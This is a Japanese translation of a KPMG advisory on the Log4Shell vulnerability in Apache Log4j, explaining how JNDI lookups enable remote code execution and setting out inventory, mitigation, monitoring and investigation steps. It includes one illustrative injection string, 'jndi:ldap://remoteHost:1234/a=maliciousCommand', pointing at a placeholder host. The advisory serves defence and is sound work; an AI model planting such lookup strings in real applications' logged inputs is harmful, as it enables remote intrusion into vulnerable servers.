Apache Log4j：今取るべきアクション

KPMGは、2021年12月10日にThe Apache Software Foundation（以下、ASF）が公開した、セキュリティ上の脅威の継続について積極的に監視しています。
ASFは、人気の高いLog4j Logging Servicesソフトウェアライブラリ（Javaアプリケーションにログ機能を提供するJavaライブラリ）に、認証されていないリモートコード実行（RCE）エクスプロイトの脆弱性があることを一般に公表しました^※1。この脆弱性は「Log4Shell」と呼ばれ、追跡調査のためにCVE-2021-44228が割り当てられ、「重要」と評価されました^※2。
CVSS（Common Vulnerability Scoring System）では、Log4jが広く利用されていることや悪用のしやすさなどを考慮して、この脆弱性の重要度を最高の10.0としています。

この脆弱性により、攻撃者は認証なしに遠隔地のサーバでコードを実行することができます。
ASFは、CVE-2021-44228に関連する脆弱性に対処するため、Log4jライブラリのバージョン2.15.0をリリースしました。その後すぐにバージョン2.16.0がリリースされ、Log4jライブラリに存在する2つ目の同様の脆弱性（CVE-2021-45046）に対応するとともに、インターネット上の攻撃者による初期のスキャンや悪用の試みで発見された多くのバイパス手法にも対応しています。
また、新たな脆弱性（CVE-2021-45105）が発見され、バージョン2.17.0、2.17.1がリリースされました。
このため、KPMGでは、現在進行中の脅威を軽減するために、直ちにLog4jを最新のバージョンにアップグレードすることを強く推奨します。

ASFの発表に先立ち、米国国土安全保障省のCybersecurity and Infrastructure Security Agency（CISA）^※3、オーストリアの国家CERT^※4、ニュージーランドの国家CERT^※5、シンガポールの国家CERT^※6、日本のJPCERT/CC^※7およびIPA^※8など、複数のセキュリティ企業や独立系のサイバーセキュリティ研究者が、Log4jの脆弱性の活発なスキャンと悪用を報告しています。

CISAを含む多くのセキュリティ機関は、Apache Log4jの脆弱性の影響を受ける可能性があるかどうかを判断するために企業が利用できる詳細な情報を含むセキュリティ勧告および速報を発表しています^※9。

Log4jはJavaで書かれたオープンソースのソフトウェアライブラリで、さまざまなJavaアプリケーションにログ機能を提供します。
Log4jは、Apache Druid、Apache Flink、Apache Solr、Apache Struts2、Apache Tomcatなど、多くのApacheアプリケーションに含まれています。また、Log4jは他の多くのソフトウェア製品にバンドルされています。Log4jを使用する製品とサービスは非常に多く、著名なベンダーにおいても採用されています。
Log4jソフトウェアライブラリは、非常に多くの一般的なアプリケーションやウェブサービスで使用されているため、今回の脆弱性は、今後しばらくの間、多くの組織に影響を与える可能性があります。また、多くのセキュリティ製品（IBM、Splunk、VMware等）もLog4jを使用しており、この脆弱性の影響を受ける可能性があります。

Log4jの脆弱性は、リモートコード実行（RCE）バグとして特徴づけられていますが、サーバで使用されているJavaのバージョンやコンポーネント、設定オプションなどによってはRCEの他に、以下のような目的においても攻撃者に利用される可能性があります。

・影響を受けたサーバから機密情報を窃取する
・サービス妨害（DoS）攻撃を行う

Log4jのユビキタスな性質と、Javaアプリケーションへのパッチ適用に伴う複雑さを考えると、ソフトウェアベンダーとエンドユーザーは、今後しばらくの間、Log4Shellとそれに続く脅威に対応することになるでしょう。

Log4jの脆弱性は、Log4jがログメッセージに含まれる文字列値を処理する方法、特にJNDI（Java Naming and Directory Interface）が文字列値を処理する方法に存在します。JNDIは、Javaアプリケーションがディレクトリサービスを使用してデータを検索するためのAPIです。

この脆弱性を利用するためには、攻撃者は、Log4jによって記録される入力を特定し、特別に細工した文字列をロガーに提供する必要があります。Log4j ソフトウェアライブラリを利用するアプリケーションでは、一般的に、HTTP ヘッダーフィールドやフォームパラメーターに記録されます。

JNDIには、LDAP（Lightweight Directory Access Protocol）をはじめとする他のディレクトリサービスを利用するための、サービスプロバイダインタフェース（SPI）が用意されています。他のSPIと同様にLDAPと用いることで、JNDIは、標準的なURL（例：ldap://127.0.0.1:39/a=Object）によりオブジェクトの情報を取得することができます。Log4j バージョン 2.15.0 までは、Lookupプロセスの一部としてJNDI APIはリモートホストへの接続を許可していました。このため、攻撃者は JNDI Lookupプロセスの一部としてリモートホストに問い合わせを行うことができました。

攻撃者は、Log4jライブラリを悪用し、特別に細工したURLによってリモートホストにクエリを実行させます。Log4jロギングエンジンによってURLが処理される際、JNDIによって文字列のLookupが可能となります。次の例のように、JNDIによってLDAPがリモートホストへの問い合わせに使用され、URLに含まれるコマンドがLog4jを処理しているサーバによって実行されます。

jndi:ldap://remoteHost:1234/a=maliciousCommand

JNDIのLookupプロセスには、認証が求められません。

Log4Shellエクスプロイトの一部として悪用される可能性のあるSPIは、LDAPだけではありません。しかし、これまでのところ、LDAPが最も広く悪用されており、攻撃者によって大量のスキャンなどが行われています。また、攻撃者は、Javaアプリケーションによって記録されることが多いHTTPヘッダーフィールドやPOSTフォームのリクエストを悪用しようとすることが確認されています。

注意すべき点は、インターネットに公開されているアプリケーションやサービスをLog4jの攻撃対象とすることができるという点です。また、インターネットに公開されているアプリケーションやサービスが、Javaで動いているか否かは関係ありません。アプリケーションやサービスの設定が、脆弱なバージョンのLog4jを実行しているバックエンドのロギング・プラットフォームを利用できるようになっている場合、悪用が成功する可能性があります。

Log4jの脆弱性やJNDIの内部構造についての情報が増えるにつれ、攻撃者はより創造的になり、現在明らかになっている軽減策を回避することが予想されます。

パニックに陥らないことが重要です。Log4Shellの脅威に対して、きちんと整理して迅速に対処することが、効果的・効率的な結果を得るための最良のアプローチです。
より効率的に対処するためには、複数のタスクを並行して検討する必要があり、特に、以下の対応が重要です。

（1）把握
（2）軽減と復旧
（3）セキュリティ監視
（4）調査

（1）把握
クラウドやサードパーティのアプリケーションやサービスを含む、組織内で使用されているアプリケーションやサービスを棚卸し、完全なリストを作成します。

• 脆弱性管理アプリケーションを使用することで、効率的にアプリケーションやサービスの棚卸しを行うことができます。
• 必要に応じて、ベンダーのSBOM（Software Bill of Materials）を参考にして、この段階で完全に網羅できるようにする必要があります。

Log4jを使用しているすべてのアプリケーションまたはサービスと、各アプリケーションまたはサービスで使用されているLog4jのバージョンを特定します。
影響を受けるアプリケーションおよびサービスに対して、リスクに応じてランク付けした優先順位リストを作成し、軽減および復旧のための計画を作成します。

（2）軽減と復旧
Log4jをバージョン2.17.1にアップグレードすることは、Log4Shellの脆弱性に関連した脅威を完全に回避する唯一の方法ですので、可能な限り、Log4jを最新バージョンにアップグレードすることを強くお勧めします。
Log4jバージョン2.17.1にアップグレードできない場合は、設定オプションを変更するか、影響を受けるJavaクラスをアプリケーションから削除することで、リスクを軽減することができます。

• log4j2.formatMsgNoLookupsプロパティの実行フラグをtrueに設定して有効にします。これは、環境変数を設定する（LOG4J_FORMAT_MSG_NO_LOOKUPS=true）か、JVMオプションに引数を含める（JAVA_OPTS=-Dlog4j2.formatMsgNoLookups=true）ことで実現できます
• 各アプリケーションのクラスパスからJndiLookupクラスを削除します。

（3）セキュリティ監視
把握および軽減・復旧の段階には時間がかかる可能性があるため、Log4jの脆弱性の影響を受けないようにするために、以下のような対策を講じることが推奨されます。

• クラウドやサードパーティのサーバやアプリケーションを可能な限り含め、JavaやLog4jを利用しているサーバやアプリケーションに重点を置いたセキュリティ監視を直ちに強化します。
• Log4jの脆弱性を引き起こそうとする攻撃を遮断し、警告が上がるよう、IDS/IPSシステムやWAFなどのセキュリティプラットフォームに適切なルールを更新・追加します。
• Javaアプリケーションまたはサービスを立ち上げているサーバのロギングレベルを引き上げます。
• Javaベースのアプリケーションやサービスのロギングレベルを引き上げます。
• 脆弱性管理アプリケーションを用いて定期的に脆弱性スキャンを行います。継続的にモニタリングすることで、log4jの新たな脆弱性も検出可能です。

（4）調査
ASFによる公表より前に、Log4jの脆弱なバージョンを使用しているアプリケーションおよびサービスの大量スキャンが始まっています。そのため、自社のインシデント対応ポリシーおよびインシデント対応計画を参照し、継続的な脅威への対応方法を確認する必要があります。

Log4jの脆弱性によって侵害されていないことを確認するための調査を行うことを推奨します。

• セキュリティソフトウェアからのマルウェア警告、異常なラテラルムーブメント、データの流出など、攻撃後に一般的に行われる活動がないかを確認します。

調査を行うことで、セキュリティ監視の不足を特定することができ、また、識別段階で特定されなかった脆弱なアプリケーションやサービスを特定することができます。

※1 Apache Software Foundation: Apache Log4j Security Vulnerabilities (December 2021)
※2 The MITRE Corporation: CVE-2021-44228 (December 2021)
※3 CISA: Apache Releases Log4j Version 2.15.0 to Address Critical RCE Vulnerability Under Exploitation (December 2021)
※4 Austrian CERT: Kritische 0-day Sicherheitslücke in Apache Log4j Bibliothek - Updates und Workarounds verfügbar (December 2021)
※5 New Zealand CERT: Log4j RCE 0—day actively exploited (December 2021)
※6 Singapore CERT: Zero-Day Vulnerability in Apache Java Logging Library Log4j (December 2021)
※7 JPCERT/CC：Apache Log4jの任意のコード実行の脆弱性（CVE-2021-44228）に関する注意喚起 (December 2021)
※8 IPA：Apache Log4j の脆弱性対策について(CVE-2021-44228) (December 2021)
※9 CISA: Apache Log4j Vulnerability Guidance (December 2021)

※本文中に記載されている会社名・製品名は各社の登録商標または商標です。

本レポートは、KPMGインターナショナルが2022年1月に発表した「Apache log4j」を翻訳したものです。翻訳と英語原文に齟齬がある場合には、英語原文が優先するものとします。

原文はこちらから（英文）
Apache log4j